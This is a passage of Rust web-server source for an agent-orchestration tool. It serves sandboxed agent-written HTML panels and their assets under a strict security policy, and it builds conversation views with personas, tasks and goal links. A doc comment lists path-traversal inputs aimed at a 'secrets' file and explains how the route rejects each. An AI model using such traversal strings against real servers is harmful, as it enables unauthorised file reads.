9048                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9049                let claim = if fresh {
9050                    match ui.begin_queued_talk_turn(&talk.id)? {
9051                        Some(turn_guard) => {
9052                            let talk = ui.talks.get(&talk.id)?;
9053                            let cfg = match cfg {
9054                                Some(cfg) => cfg,
9055                                None => talk.config()?,
9056                            };
9057                            Some((talk, cfg, turn_guard))
9058                        }
9059                        None => None,
9060                    }
9061                } else {
9062                    None
9063                };
9064                let q = ui.questions.get(&q.id)?;
9065                let cfg = deputy_config(&ui.repo);
9066                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9067                    .with_origin(&tasks, &talks, &watches);
9068                Ok((view, claim, fresh.then_some(talk.id)))
9069            }
9070        })
9071        .await?;
9072        #[cfg(not(test))]
9073        {
9074            if let Some(id) = submitted {
9075                crate::chat_worker::spawn_turn(&ui.talks, &id)
9076                    .await
9077                    .map_err(ApiError::from)?;
9078            }
9079            drop(reclaimed);
9080        }
9081        #[cfg(test)]
9082        let _ = submitted;
9083        #[cfg(test)]
9084        if let Some((talk, cfg, turn_guard)) = reclaimed {
9085            let talks = ui.talks.clone();
9086            let id = talk.id.clone();
9087            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9088        }
9089        Ok((StatusCode::ACCEPTED, Json(view)))
9090    })
9091    .await
9092}
9093
9094/// Expand an id or short id to exactly one question id.
9095fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
9096    if plain_record_id(id) && store.path_of(id).is_file() {
9097        return Ok(id.to_owned());
9098    }
9099    pick(
9100        store.list().into_iter().map(|q| q.id).collect(),
9101        id,
9102        "question",
9103    )
9104}
9105
9106/// `GET /api/questions/{id}/panel`.
9107///
9108/// The panel an agent wrote for this question, as `text/html` under
9109/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
9110/// A question without one is a 404 rather than an empty page: the client
9111/// preflights this route with `HEAD` and must be able to tell "no panel" from
9112/// "a panel that rendered blank", and a sandboxed frame is opaque to the
9113/// parent document so it cannot tell the difference by looking.
9114///
9115/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
9116/// sanitises or minifies it - a sanitiser is a list of things someone thought
9117/// of, and the sandbox plus the CSP is a list of things that are allowed, which
9118/// is the direction that stays safe when an agent writes markup nobody
9119/// predicted.
9120async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
9121    blocking(move || {
9122        let id = resolve_question(&ui.questions, &id)?;
9123        let Some(html) = ui.questions.panel_html(&id) else {
9124            return Err(ApiError::not_found(format!("question {id} has no panel")));
9125        };
9126        Ok(panel_response(
9127            "text/html; charset=utf-8",
9128            false,
9129            html.into_bytes(),
9130        ))
9131    })
9132    .await
9133}
9134
9135/// `GET /api/questions/{id}/asset/{name}`.
9136///
9137/// One file from the question's own panel directory, so a panel can show a
9138/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
9139/// having to allow anything off this machine.
9140///
9141/// This is the only route in the server where a client names a file, so it is
9142/// the only one with a traversal surface, and the name is checked by
9143/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
9144/// what is worth being explicit about, because the answer is not "all of it in
9145/// one place":
9146///
9147/// * `asset/../../secrets` never reaches this handler at all. axum matches on
9148///   the raw request path and `{name}` spans exactly one segment, so a real
9149///   slash makes the request too long for the route and the router answers 404.
9150/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
9151///   percent-decodes path parameters, so `name` arrives as `../secrets` and
9152///   `..\secrets` respectively, which look like plain filenames to the router.
9153///   The validator refuses them here - both for the literal `..` and because
9154///   `/` and `\` are not in the permitted character set - and answers 400.
9155/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
9156///   the platform's path API is not, and it is refused here for the same
9157///   reason: NUL is not a permitted character.
9158/// * [`Questions::panel_asset`] validates again on read, so the check is not
9159///   load-bearing in only one place. This route's own check exists so the
9160///   failure is a 400 that says which name was wrong, rather than a store error
9161///   the operator has to interpret.
9162async fn question_asset(
9163    State(ui): State<Arc<Ui>>,
9164    Path((id, name)): Path<(String, String)>,
9165) -> ApiResult<Response> {
9166    // Before any filesystem work and before any path is built: a name this
9167    // server will not serve should not become a `PathBuf` at all.
9168    if !crate::ask::valid_asset_name(&name) {
9169        return Err(ApiError::bad_request(format!(
9170            "`{name}` is not a usable asset name"
9171        )));
9172    }
9173    blocking(move || {
9174        let id = resolve_question(&ui.questions, &id)?;
9175        let asset = ui
9176            .questions
9177            .panel_asset(&id, &name)
9178            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
9179        let Some(bytes) = asset else {
9180            return Err(ApiError::not_found(format!(
9181                "question {id} has no asset `{name}`"
9182            )));
9183        };
9184        Ok(panel_response(
9185            asset_content_type(&name),
9186            is_svg(&name),
9187            bytes,
9188        ))
9189    })
9190    .await
9191}
9192
9193/// Content type for a panel asset, from a closed whitelist.
9194///
9195/// A whitelist with an `application/octet-stream` fallback rather than a
9196/// guess, because the one answer that must never come out of here is
9197/// `text/html`. An agent that writes `notes.html` into its panel directory and
9198/// links it would otherwise get its own markup rendered at the top level of the
9199/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
9200/// magi's origin - which is precisely the thing the panel design exists to
9201/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
9202///
9203/// `nosniff` accompanies this on every response, so a browser cannot decide it
9204/// knows better than the type we sent.
9205fn asset_content_type(name: &str) -> &'static str {
9206    match extension(name).as_deref() {
9207        Some("png") => "image/png",
9208        Some("jpg" | "jpeg") => "image/jpeg",
9209        Some("gif") => "image/gif",
9210        Some("webp") => "image/webp",
9211        Some("svg") => "image/svg+xml",
9212        Some("css") => "text/css; charset=utf-8",
9213        Some("txt") => "text/plain; charset=utf-8",
9214        _ => "application/octet-stream",
9215    }
9216}
9217
9218/// Is this an SVG, and therefore a file that must never be opened at the top
9219/// level?
9220fn is_svg(name: &str) -> bool {
9221    extension(name).as_deref() == Some("svg")
9222}
9223
9224/// Lowercased extension, or `None` for a name without one.
9225fn extension(name: &str) -> Option<String> {
9226    name.rsplit_once('.')
9227        .map(|(_, ext)| ext.to_ascii_lowercase())
9228}
9229
9230/// Every panel response, with the four headers that make it safe and, for an
9231/// SVG, a fifth.
9232///
9233/// One function rather than a header list per handler, because a panel route
9234/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
9235/// model gone, silently, on one of two routes. Adding a third panel route later
9236/// means calling this, and there is nowhere else to build a panel response.
9237///
9238/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
9239/// as an `<img src>` inside the panel that script cannot run - but the asset
9240/// URL is also a plain URL an operator can be talked into opening in a tab,
9241/// where it is a document on magi's own origin. `Content-Disposition:
9242/// attachment` makes the browser download it instead of rendering it, which
9243/// closes that door without taking away the ability to draw a diff. Raster
9244/// images have no such execution surface and are left inline, so tapping a
9245/// screenshot still shows it.
9246fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
9247    let mut res = (
9248        [
9249            (header::CONTENT_TYPE, content_type),
9250            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
9251            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9252            (header::REFERRER_POLICY, "no-referrer"),
9253        ],
9254        body,
9255    )
9256        .into_response();
9257    if download {
9258        res.headers_mut().insert(
9259            header::CONTENT_DISPOSITION,
9260            HeaderValue::from_static("attachment"),
9261        );
9262    }
9263    res
9264}
9265
9266/// A talk as the phone reads it.
9267///
9268/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
9269/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
9270/// parses markdown itself - and the process-local `thinking` hint.
9271#[derive(Debug, Serialize)]
9272struct ChatApproval {
9273    question: String,
9274    target: crate::merge_decision::Target,
9275}
9276
9277#[derive(Debug, Serialize)]
9278struct TalkView {
9279    #[serde(flatten)]
9280    talk: Talk,
9281    turn_bodies_md: Vec<Vec<md::Node>>,
9282    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
9283    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
9284    pending_messages_md: Vec<Option<Vec<md::Node>>>,
9285    merge_approvals: Vec<ChatApproval>,
9286    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
9287    /// this server process.
9288    ///
9289    /// This is deliberately not durable: another server process cannot see
9290    /// it, and a restarted server must not claim an old turn is live. It is a
9291    /// progress hint rather than proof a reply landed; the transcript remains
9292    /// the source of truth for that.
9293    thinking: bool,
9294    /// Context-window usage, derived per request - see
9295    /// [`talk::context_usage`]. Carried on every talk response (list, detail
9296    /// and each mutation) so the phone needs no extra call or polling.
9297    context: talk::ContextUsage,
9298    /// `[talk] operator_name`, when configured; the Chat labels the
9299    /// operator's turns with it.
9300    operator_name: Option<String>,
9301    /// The active persona's display name; `None` for the default voice.
9302    persona_name: Option<String>,
9303    /// URL of the avatar for the conversation's persona (the default voice
9304    /// included). Server-built; a configured `icon` never reaches the client.
9305    persona_avatar: String,
9306    /// Operator avatar; display only and independent of repository config.
9307    operator_avatar: String,
9308    magi_avatar: String,
9309}
9310
9311impl TalkView {
9312    /// Reads the talk's repository config itself; a config that cannot be
9313    /// read leaves the window unknown but never fails the conversation.
9314    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
9315        let cfg = talk.config().ok();
9316        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
9317    }
9318
9319    /// As [`Self::new`], with the config already in hand (the list reads one
9320    /// per repository, not one per conversation).
9321    fn with_config(
9322        talk: Talk,
9323        thinking: bool,
9324        cfg: Option<&Config>,
9325        home: &FsPath,
9326        cache: &id_links::IndexCache,
9327    ) -> Self {
9328        let references = cache.for_talk(home, &talk);
9329        Self::with_references(talk, thinking, cfg, home, &references)
9330    }
9331
9332    fn with_references(
9333        mut talk: Talk,
9334        thinking: bool,
9335        cfg: Option<&Config>,
9336        home: &FsPath,
9337        references: &id_links::IdIndex,
9338    ) -> Self {
9339        // This owned value is the display DTO; never write it back to the talk store.
9340        let snapshot = talk.clone();
9341        for (index, turn) in talk.turns.iter_mut().enumerate() {
9342            let original = &snapshot.turns[index];
9343            if turn.messages.is_empty() {
9344                if let Some(display) = talk::notice_display(&snapshot, original, None) {
9345                    turn.messages.push(talk::Message {
9346                        sender: Some(talk::Sender::Magi),
9347                        accepted_at: None,
9348                        body: original.body.clone(),
9349                        display: Some(display),
9350                        recovery_event: None,
9351                        attachments: original.attachments.clone(),
9352                        reply: None,
9353                    });
9354                }
9355            } else {
9356                for (i, message) in turn.messages.iter_mut().enumerate() {
9357                    message.display =
9358                        talk::notice_display(&snapshot, original, original.messages.get(i));
9359                    if message.display.is_some() {
9360                        message.sender = Some(talk::Sender::Magi);
9361                    }
9362                }
9363            }
9364        }
9365        for message in &mut talk.pending_messages {
9366            if message.display.is_none()
9367                && (message.sender == Some(talk::Sender::Magi)
9368                    || snapshot
9369                        .completion_notices
9370                        .iter()
9371                        .any(|r| r.notice == message.body))
9372            {
9373                message.display = crate::prompt::legacy_notice_display(&message.body);
9374                if message.display.is_some() {
9375                    message.sender = Some(talk::Sender::Magi);
9376                }
9377            }
9378        }
9379        if talk.pending_messages.is_empty()
9380            && snapshot
9381                .completion_notices
9382                .iter()
9383                .any(|r| r.notice == talk.pending)
9384            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
9385        {
9386            talk.pending_messages.push(talk::Message {
9387                sender: Some(talk::Sender::Magi),
9388                accepted_at: None,
9389                display: Some(display),
9390                recovery_event: None,
9391                body: talk.pending.clone(),
9392                attachments: talk.pending_attachments.clone(),
9393                reply: None,
9394            });
9395        }
9396        let excerpts: Vec<Vec<Option<String>>> = talk
9397            .turns
9398            .iter()
9399            .map(|turn| {
9400                turn.messages
9401                    .iter()
9402                    .map(|m| {
9403                        m.display
9404                            .as_ref()
9405                            .map(|d| d.facts.chars().take(240).collect())
9406                    })
9407                    .collect()
9408            })
9409            .collect();
9410        for turn in &mut talk.turns {
9411            let provenance = talk::sender(turn, None);
9412            turn.sender = Some(provenance);
9413            for message in &mut turn.messages {
9414                message.sender = Some(message.sender.unwrap_or(provenance));
9415            }
9416        }
9417        // Old reply snapshots have only a role; recover provenance from their target.
9418        let senders: Vec<Vec<talk::Sender>> = talk
9419            .turns
9420            .iter()
9421            .map(|turn| {
9422                if turn.messages.is_empty() {
9423                    vec![talk::sender(turn, None)]
9424                } else {
9425                    turn.messages
9426                        .iter()
9427                        .map(|m| talk::sender(turn, Some(m)))
9428                        .collect()
9429                }
9430            })
9431            .collect();
9432        for reply in talk
9433            .turns
9434            .iter_mut()
9435            .flat_map(|t| t.messages.iter_mut())
9436            .chain(talk.pending_messages.iter_mut())
9437            .filter_map(|m| m.reply.as_mut())
9438        {
9439            if let Some(Some(excerpt)) = excerpts
9440                .get(reply.target.turn)
9441                .and_then(|ms| ms.get(reply.target.message))
9442            {
9443                reply.excerpt = excerpt.clone();
9444                reply.sender = Some(talk::Sender::Magi);
9445            }
9446            if reply.sender.is_none() {
9447                reply.sender = senders
9448                    .get(reply.target.turn)
9449                    .and_then(|messages| messages.get(reply.target.message))
9450                    .copied();
9451            }
9452        }
9453        let context = talk::context_usage(&talk, cfg);
9454        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9455            .turns
9456            .iter()
9457            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9458            .collect();
9459        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9460            .turns
9461            .iter()
9462            .map(|turn| {
9463                if turn.messages.is_empty() {
9464                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9465                } else {
9466                    turn.messages
9467                        .iter()
9468                        .map(|message| {
9469                            notice_markdown(
9470                                message.sender.unwrap_or(talk::Sender::Operator),
9471                                &message.body,
9472                                message.display.as_ref(),
9473                            )
9474                        })
9475                        .collect()
9476                }
9477            })
9478            .collect();
9479        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9480            .pending_messages
9481            .iter()
9482            .map(|message| {
9483                notice_markdown(
9484                    message.sender.unwrap_or(talk::Sender::Operator),
9485                    &message.body,
9486                    message.display.as_ref(),
9487                )
9488            })
9489            .collect();
9490        for nodes in &mut turn_bodies_md {
9491            references.markdown(nodes);
9492        }
9493        for nodes in turn_messages_md
9494            .iter_mut()
9495            .flatten()
9496            .chain(pending_messages_md.iter_mut())
9497            .flatten()
9498        {
9499            references.markdown(nodes);
9500        }
9501        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9502        let persona_name = persona::find(specs, &talk.persona)
9503            .filter(|p| !p.is_default())
9504            .map(|p| p.name);
9505        let mut avatar_persona = persona::find(specs, &talk.persona)
9506            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9507        // A removed configured persona may still have an override and old talks.
9508        if avatar_persona.id != talk.persona
9509            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9510        {
9511            avatar_persona.id.clone_from(&talk.persona);
9512            avatar_persona.icon = None;
9513        }
9514        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9515        let approvals_store = ask::Questions::at(home.join("questions"));
9516        let merge_approvals = talk
9517            .notified
9518            .iter()
9519            .filter_map(|key| key.strip_prefix("question:"))
9520            .filter_map(|id| approvals_store.get(id).ok())
9521            .filter(|q| !crate::task_chat::source_retired(home, &q.id))
9522            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9523            .filter_map(|q| {
9524                Some(ChatApproval {
9525                    question: q.id,
9526                    target: q.merge_target?,
9527                })
9528            })
9529            .collect();
9530        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9531        Self {
9532            turn_bodies_md,
9533            turn_messages_md,
9534            pending_messages_md,
9535            merge_approvals,
9536            thinking,
9537            context,
9538            operator_name,
9539            persona_name,
9540            persona_avatar,
9541            magi_avatar: magi_icon_url(home),
9542            operator_avatar: operator_icon_url(home),
9543            talk,
9544        }
9545    }
9546}
9547
9548/// Parse only the user-facing representation of an explicitly identified MAGI send.
9549fn notice_markdown(
9550    sender: talk::Sender,
9551    body: &str,
9552    display: Option<&crate::prompt::NoticeDisplay>,
9553) -> Option<Vec<md::Node>> {
9554    if sender != talk::Sender::Magi {
9555        return None;
9556    }
9557    let text = if let Some(display) = display {
9558        display.facts.as_str()
9559    } else {
9560        // Unknown completion templates may contain internal directives. Never
9561        // promote their agent input to the Markdown display surface.
9562        if crate::prompt::is_completion_notice(body)
9563            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9564        {
9565            return None;
9566        }
9567        body.strip_prefix("magi: ").unwrap_or(body)
9568    };
9569    Some(md::to_nodes(text, &md::ImageBase::None))
9570}
9571
9572/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9573/// conversation has filed, so the phone can follow one from inside the
9574/// conversation that asked for it rather than hunting the Queue for a task id
9575/// it may not remember.
9576#[derive(Debug, Serialize)]
9577struct TalkDetailView {
9578    #[serde(flatten)]
9579    view: TalkView,
9580    tasks: Vec<TaskView>,
9581    task_progress: TalkTaskProgress,
9582    goal_link: Option<TalkGoalLink>,
9583    goal_link_for: Timestamp,
9584    /// The agents this talk's repository can switch to; empty when its
9585    /// configuration cannot be read, which must not fail the whole detail.
9586    roster: Vec<RosterEntry>,
9587    /// The personas the conversation can pick from. The built-ins are always
9588    /// listed, even when the repository's configuration cannot be read.
9589    personas: Vec<PersonaEntry>,
9590}
9591
9592/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9593#[derive(Debug, Serialize)]
9594struct TalkTaskProgress {
9595    state: &'static str,
9596    total: usize,
9597    done: usize,
9598    counts: std::collections::BTreeMap<&'static str, usize>,
9599    unfinished_ids: Vec<String>,
9600}
9601
9602fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9603    let mut counts = std::collections::BTreeMap::from([
9604        ("queued", 0),
9605        ("running", 0),
9606        ("done", 0),
9607        ("failed", 0),
9608        ("held", 0),
9609        ("blocked", 0),
9610        ("parked", 0),
9611    ]);
9612    let mut unfinished_ids = Vec::new();
9613    for task in tasks {
9614        *counts.entry(task.status.as_str()).or_default() += 1;
9615        if task.status != TaskStatus::Done {
9616            unfinished_ids.push(task.id.clone());
9617        }
9618    }
9619    TalkTaskProgress {
9620        state: if tasks.is_empty() {
9621            "none"
9622        } else if unfinished_ids.is_empty() {
9623            "complete"
9624        } else {
9625            "incomplete"
9626        },
9627        total: tasks.len(),
9628        done: tasks.len() - unfinished_ids.len(),
9629        counts,
9630        unfinished_ids,
9631    }
9632}
9633
9634/// Prefer a referenced task's current Run or Task, then an explicitly
9635/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9636#[derive(Debug, Serialize)]
9637struct TalkGoalLink {
9638    goal: String,
9639    kind: &'static str,
9640    id: String,
9641}
9642
9643fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9644    let goal = crate::chat_goal::Goal::selected(talk)?;
9645    let repo = goal.effective_repo(&talk.repo);
9646    let valid_run = |id: &str| {
9647        plain_record_id(id)
9648            && read_run(runs, id).is_ok_and(|state| {
9649                state.id == id
9650                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9651            })
9652    };
9653    for id in goal.tasks.iter().rev() {
9654        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9655            continue;
9656        };
9657        // Repository reassignments retain historical runs. Only this task's
9658        // current execution can be presented as the goal's current Run.
9659        if let Some(run) = task.execution_runs().last()
9660            && valid_run(run)
9661        {
9662            return Some(TalkGoalLink {
9663                goal: goal.id.clone(),
9664                kind: "run",
9665                id: run.clone(),
9666            });
9667        }
9668        return Some(TalkGoalLink {
9669            goal: goal.id.clone(),
9670            kind: "task",
9671            id: task.id,
9672        });
9673    }
9674    for id in goal.runs.iter().rev() {
9675        if valid_run(id) {
9676            return Some(TalkGoalLink {
9677                goal: goal.id.clone(),
9678                kind: "run",
9679                id: id.clone(),
9680            });
9681        }
9682    }
9683    None
9684}
9685
9686/// One persona as the talk's persona selector shows it.
9687#[derive(Debug, Serialize)]
9688struct PersonaEntry {
9689    id: String,
9690    name: String,
9691    /// Avatar URL, see [`TalkView::persona_avatar`].
9692    avatar: String,
9693}
9694
9695/// One roster agent as the talk's agent selector shows it.
9696#[derive(Debug, Serialize)]
9697struct RosterEntry {
9698    id: String,
9699    kind: AgentKind,
9700    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9701    runnable: bool,
9702}
9703
9704/// Bounded summaries; `/page` carries a cursor for older membership.
9705async fn talks_list(
9706    State(ui): State<Arc<Ui>>,
9707    Query(q): Query<ListQuery>,
9708    headers: header::HeaderMap,
9709) -> ApiResult<Json<Vec<TalkListView>>> {
9710    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9711        let limit = q.limit.unwrap_or(50).min(50);
9712        let ids = if let Some(ids) = q.ids {
9713            ids.split(',')
9714                .filter(|id| plain_record_id(id))
9715                .take(limit)
9716                .map(str::to_owned)
9717                .collect()
9718        } else {
9719            page_ids(&ui, true, PageQuery::default())?
9720                .0
9721                .into_iter()
9722                .take(limit.min(STORE_PAGE_SIZE))
9723                .collect()
9724        };
9725        Ok(Json(talk_rows(&ui, ids, &headers)))
9726    })
9727    .await
9728}
9729
9730/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9731/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9732/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9733/// end still opens a talk against an older binary.
9734#[derive(Debug, Default, Deserialize)]
9735#[serde(default)]
9736struct NewTalk {
9737    agent: Option<String>,
9738    repo: Option<PathBuf>,
9739    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9740    /// wrong type is dropped like a stale value instead of failing the request;
9741    /// each falls back to its default on its own (see [`talk::begin_with`]).
9742    preferred_agent: Option<serde_json::Value>,
9743    persona: Option<serde_json::Value>,
9744    implementers: Option<serde_json::Value>,
9745}
9746
9747/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9748/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9749async fn talk_post(
9750    State(ui): State<Arc<Ui>>,
9751    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9752) -> ApiResult<impl IntoResponse> {
9753    // An absent body, or an empty one, is the normal way to open a talk - see
9754    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9755    // rather than refused.
9756    let body = match body {
9757        Ok(Json(body)) => body,
9758        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9759        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9760    };
9761    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9762    let cfg = config_for(&repo).await?;
9763    let view = blocking(move || {
9764        let preferred = talk::Preferred {
9765            agent: body
9766                .preferred_agent
9767                .as_ref()
9768                .and_then(|v| v.as_str())
9769                .map(str::to_owned),
9770            persona: body
9771                .persona
9772                .as_ref()
9773                .and_then(|v| v.as_str())
9774                .map(str::to_owned),
9775            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9776        };
9777        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9778        let thinking = ui.is_thinking(&talk.id);
9779        Ok(TalkView::new(talk, thinking, &ui))
9780    })
9781    .await?;
9782    Ok((StatusCode::CREATED, Json(view)))
9783}
9784
9785/// Transcript first: unrelated queue history and repository probes are deferred.
9786async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9787    // Keep transcript reads independent of sections and the runtime blocking pool.
9788    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9789        let id = resolve_talk(&ui.talks, &id)?;
9790        let talk = ui.talks.get(&id)?;
9791        let thinking = ui.is_thinking_observed(&id);
9792        // The browser already resolves Markdown text/code references after
9793        // rendering. A cold reference/review index must not gate the transcript.
9794        Ok(Json(TalkView::with_references(
9795            talk,
9796            thinking,
9797            None,
9798            &ui.home,
9799            &id_links::IdIndex::default(),
9800        )))
9801    })
9802    .await
9803}
9804
9805async fn talk_sections(
9806    State(ui): State<Arc<Ui>>,
9807    Path(id): Path<String>,
9808) -> ApiResult<Json<serde_json::Value>> {
9809    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9810        let id = resolve_talk(&ui.talks, &id)?;
9811        let talk = ui.talks.get(&id)?;
9812        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9813        let task_progress = talk_task_progress(&tasks);
9814        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9815        let tasks: Vec<_> = tasks
9816            .into_iter()
9817            .map(|task| {
9818                serde_json::json!({
9819                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9820                })
9821            })
9822            .collect();
9823        let cfg = talk.config().ok();
9824        let roster: Vec<_> = cfg
9825            .as_ref()
9826            .map(|cfg| {
9827                cfg.agents
9828                    .iter()
9829                    .map(|a| RosterEntry {
9830                        id: a.id.clone(),
9831                        kind: a.kind,
9832                        runnable: agent::installed(a),
9833                    })
9834                    .collect()
9835            })
9836            .unwrap_or_default();
9837        let specs = cfg
9838            .as_ref()
9839            .map(|cfg| cfg.talk.personas.clone())
9840            .unwrap_or_default();
9841        let personas: Vec<_> = persona::catalog(&specs)
9842            .into_iter()
9843            .map(|p| PersonaEntry {
9844                avatar: avatar_url(&ui.home, &talk.id, &p),
9845                id: p.id,
9846                name: p.name,
9847            })
9848            .collect();
9849        let active_persona = persona::find(&specs, &talk.persona)
9850            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9851        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9852        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9853        Ok(Json(serde_json::json!({
9854            "tasks": tasks, "task_progress": task_progress,
9855            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9856            "roster": roster, "personas": personas,
9857            "context": talk::context_usage(&talk, cfg.as_ref()),
9858            "context_for": talk.updated_at,
9859            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9860            "persona_name": persona_name,
9861            "persona_avatar": persona_avatar,
9862        })))
9863    })
9864    .await
9865}
9866
9867/// `GET /api/talks/{id}`.
9868async fn talk_detail(
9869    State(ui): State<Arc<Ui>>,
9870    Path(id): Path<String>,
9871) -> ApiResult<Json<TalkDetailView>> {
9872    blocking(move || {
9873        let id = resolve_talk(&ui.talks, &id)?;
9874        let talk = ui.talks.get(&id)?;
9875        let thinking = ui.is_thinking_observed(&talk.id);
9876        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9877        let task_progress = talk_task_progress(&tasks);
9878        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9879        let goal_link_for = talk.updated_at;
9880        let tasks = tasks.into_iter().map(TaskView::from).collect();
9881        let cfg = talk.config().ok();
9882        let roster = cfg
9883            .as_ref()
9884            .map(|cfg| {
9885                cfg.agents
9886                    .iter()
9887                    .map(|a| RosterEntry {
9888                        id: a.id.clone(),
9889                        kind: a.kind,
9890                        runnable: agent::installed(a),
9891                    })
9892                    .collect()
9893            })
9894            .unwrap_or_default();
9895        let specs = cfg
9896            .as_ref()
9897            .map(|cfg| cfg.talk.personas.clone())
9898            .unwrap_or_default();
9899        let personas = persona::catalog(&specs)
9900            .into_iter()
9901            .map(|p| PersonaEntry {
9902                avatar: avatar_url(&ui.home, &talk.id, &p),
9903                id: p.id,
9904                name: p.name,
9905            })
9906            .collect();
9907        Ok(Json(TalkDetailView {
9908            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9909            tasks,
9910            task_progress,
9911            goal_link,
9912            goal_link_for,
9913            roster,
9914            personas,
9915        }))
9916    })
9917    .await
9918}
9919
9920/// The body of `POST /api/talks/{id}/say`.
9921///
9922/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9923/// returned - never bytes of its own - so a turn with no images just omits
9924/// the field, which is what an older front end still does.
9925#[derive(Debug, Default, Deserialize)]
9926#[serde(default, deny_unknown_fields)]
9927struct NewTalkTurn {
9928    reply_to: Option<talk::ReplyTarget>,
9929    text: String,
9930    attachments: Vec<String>,
9931}
9932
9933#[derive(Debug, Deserialize)]
9934#[serde(deny_unknown_fields)]
9935struct EditTalkPending {
9936    #[serde(default)]
9937    message: Option<usize>,
9938    text: String,
9939    expected_text: String,
9940    expected_attachments: Vec<String>,
9941}
9942
9943#[derive(Debug, Deserialize)]
9944#[serde(deny_unknown_fields)]
9945struct ClearTalkPending {
9946    expected_text: String,
9947    expected_attachments: Vec<String>,
9948}
9949
9950/// `POST /api/talks/{id}/say` - one turn of the conversation.
9951///
9952/// Not filesystem work, and therefore not routed through [`blocking`]: this
9953/// route spawns an agent CLI and a turn here can run for the whole of
9954/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9955/// research turn is expected to run commands rather than answer from what it
9956/// already knows. Holding an HTTP connection open that long is not a thing
9957/// to ask a phone to do; the operator's message is recorded and answered for
9958/// immediately, and the reply lands in the background, discovered through
9959/// the change stream's `talks_rev` the same way every other update on this
9960/// surface is.
9961async fn talk_say(
9962    State(ui): State<Arc<Ui>>,
9963    Path(id): Path<String>,
9964    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9965) -> ApiResult<(StatusCode, Json<TalkView>)> {
9966    let admission = ui.begin_admission()?;
9967    admitted(admission, async move {
9968    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9969    if body.text.trim().is_empty() && body.attachments.is_empty() {
